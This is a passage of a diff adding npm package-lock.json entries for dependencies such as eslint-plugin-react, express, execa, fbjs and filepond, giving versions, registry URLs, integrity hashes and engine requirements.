"4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint-loader/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.26.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.26.1.tgz", + "integrity": "sha512-Lug0+NOFXeOE+ORZ5pbsh6mSKjBKXDXItUD2sQoT+5Yl0eoT82DqnXeTMfUare4QVCn9QwXbfzO/dBLjLXwVjQ==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.3", + "array.prototype.flatmap": "^1.2.4", + "doctrine": "^2.1.0", + "estraverse": "^5.2.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.0.4", + "object.entries": "^1.1.4", + "object.fromentries": "^2.0.4", + "object.hasown": "^1.0.0", + "object.values": "^1.1.4", + "prop-types": "^15.7.2", + "resolve": "^2.0.0-next.3", + "semver": "^6.3.0", + "string.prototype.matchall": "^4.0.5" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/resolve": { + "version": "2.0.0-next.3", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.3.tgz", + "integrity": "sha512-W8LucSynKUIDu9ylraa7ueVZ7hc0uAgJBxVsQSKOXOyle8a93qXhcz+XAXZ8bIq2d6i4Ehddn6Evt+0/UwKk6Q==", + "dev": true, + "dependencies": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/eslint-plugin-react/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint-scope": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.0.0.tgz", + "integrity": "sha512-oYrhJW7S0bxAFDvWqzvMPRm6pcgcnWc4QnofCAqRTRfQC0JcwenzGglTtsLyIuuWFfkqDG9vz67cnttSd53djw==", + "dev": true, + "dependencies": { + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/eslint-utils": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.3.tgz", + "integrity": "sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==", + "dev": true, + "dependencies": { + "eslint-visitor-keys": "^1.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.1.0.tgz", + "integrity": "sha512-8y9YjtM1JBJU/A9Kc+SbaOV4y29sSWckBwMHa+FGtVj5gN/sbnKDf6xJUl+8g7FAij9LVaP8C24DUiH/f/2Z9A==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/eslint/node_modules/ansi-regex": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/eslint/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/eslint/node_modules/cross-spawn/node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/eslint/node_modules/debug": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", + "dev": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/eslint/node_modules/globals": { + "version": "12.4.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-12.4.0.tgz", + "integrity": "sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg==", + "dev": true, + "dependencies": { + "type-fest": "^0.8.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/eslint/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/eslint/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/espree": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-6.2.1.tgz", + "integrity": "sha512-ysCxRQY3WaXJz9tdbWOwuWr5Y/XrPTGX9Kiz3yoUXwW0VZ4w30HTkQLaGx/+ttFjF8i+ACbArnB4ce68a9m5hw==", + "dev": true, + "dependencies": { + "acorn": "^7.1.1", + "acorn-jsx": "^5.2.0", + "eslint-visitor-keys": "^1.1.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.3.1.tgz", + "integrity": "sha512-olpvt9QG0vniUBZspVRN6lwB7hOZoTRtT+jzR+tS4ffYx2mzbw+z0XCOk44aaLYKApNX5nMm+E+P6o25ip/DHQ==", + "dev": true, + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esquery/node_modules/estraverse": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.1.0.tgz", + "integrity": "sha512-FyohXK+R0vE+y1nHLoBM7ZTyqRpqAlhdZHCWIWEviFLiGB8b04H6bQs8G+XTthacvT8VuwvteiP7RJSxMs8UEw==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", + "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", + "dev": true, + "dependencies": { + "estraverse": "^4.1.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "dev": true + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/execa/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/execa/node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/execall": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/execall/-/execall-2.0.0.tgz", + "integrity": "sha512-0FU2hZ5Hh6iQnarpRtQurM/aAvp3RIbfvgLHrcqJYzhXyV2KFruhuChf9NC6waAhiUR7FFtlugkI4p7f2Fqlow==", + "dev": true, + "dependencies": { + "clone-regexp": "^2.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/express": { + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", + "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", + "dev": true, + "dependencies": { + "accepts": "~1.3.7", + "array-flatten": "1.1.1", + "body-parser": "1.19.0", + "content-disposition": "0.5.3", + "content-type": "~1.0.4", + "cookie": "0.4.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.1.2", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.5", + "qs": "6.7.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.1.2", + "send": "0.17.1", + "serve-static": "1.14.1", + "setprototypeof": "1.1.1", + "statuses": "~1.5.0", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express/node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=", + "dev": true + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/express/node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=", + "dev": true + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true + }, + "node_modules/external-editor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", + "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", + "dev": true, + "dependencies": { + "chardet": "^0.7.0", + "iconv-lite": "^0.4.24", + "tmp": "^0.0.33" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", + "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==" + }, + "node_modules/fast-glob": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.7.tgz", + "integrity": "sha512-rYGMRwip6lUMvYD3BTScMwT1HtAs2d71SMv66Vrxs0IekGZEjhM0pcMfjQPnknBt2zeCwQMEupiN02ZP4DiT1Q==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=" + }, + "node_modules/fastest-levenshtein": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.12.tgz", + "integrity": "sha512-On2N+BpYJ15xIC974QNVuYGMOlEVt4s0EOI3wwMqOmK1fdDY+FN/zltPV8vosq4ad4c/gJ1KHScUn/6AWIgiow==", + "dev": true + }, + "node_modules/fastparse": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.2.tgz", + "integrity": "sha512-483XLLxTVIwWK3QTrMGRqUfUpoOs/0hbQrl2oz4J0pAcm3A3bu84wxTFqGqkJzewCLdME38xJLJAxBABfQT8sQ==", + "dev": true + }, + "node_modules/fastq": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "dev": true, + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/fbjs": { + "version": "0.8.17", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", + "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", + "dependencies": { + "core-js": "^1.0.0", + "isomorphic-fetch": "^2.1.1", + "loose-envify": "^1.0.0", + "object-assign": "^4.1.0", + "promise": "^7.1.1", + "setimmediate": "^1.0.5", + "ua-parser-js": "^0.7.18" + } + }, + "node_modules/fbjs/node_modules/core-js": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz", + "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=", + "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js." + }, + "node_modules/fetch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fetch/-/fetch-1.1.0.tgz", + "integrity": "sha1-CoJ58Gvjf58Ou1Z1YKMKSA2lmi4=", + "dependencies": { + "biskviit": "1.0.1", + "encoding": "0.1.12" + } + }, + "node_modules/figures": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz", + "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==", + "dev": true, + "dependencies": { + "escape-string-regexp": "^1.0.5" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/file-entry-cache": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz", + "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==", + "dev": true, + "dependencies": { + "flat-cache": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/file-loader": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-1.1.11.tgz", + "integrity": "sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==", + "dev": true, + "dependencies": { + "loader-utils": "^1.0.2", + "schema-utils": "^0.4.5" + }, + "engines": { + "node": ">= 4.3 < 5.0.0 || >= 5.10" + }, + "peerDependencies": { + "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" + } + }, + "node_modules/file-loader/node_modules/schema-utils": { + "version": "0.4.7", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz", + "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", + "dev": true, + "dependencies": { + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/file-saver": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.5.tgz", + "integrity": "sha512-P9bmyZ3h/PRG+Nzga+rbdI4OEpNDzAVyy74uVO9ATgzLK6VtAsYybF/+TOCvrc0MO793d6+42lLyZTw7/ArVzA==" + }, + "node_modules/filepond": { + "version": "4.30.3", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.30.3.tgz", + "integrity": "sha512-G2b1LEe90Sq2vH0SYDASTB+vVU735NBctzIaFPlZtb14QAgi/AL89WyQ6LhTfqgyrMyuZur2O9yHAmzS2E9ZnA==" + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "dev": true, + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/find-cache-dir": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.1.tgz", + "integrity": "sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/find-cache-dir/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-cache-dir/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-cache-dir/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/find-cache-dir/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-cache-dir/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-cache-dir/node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": 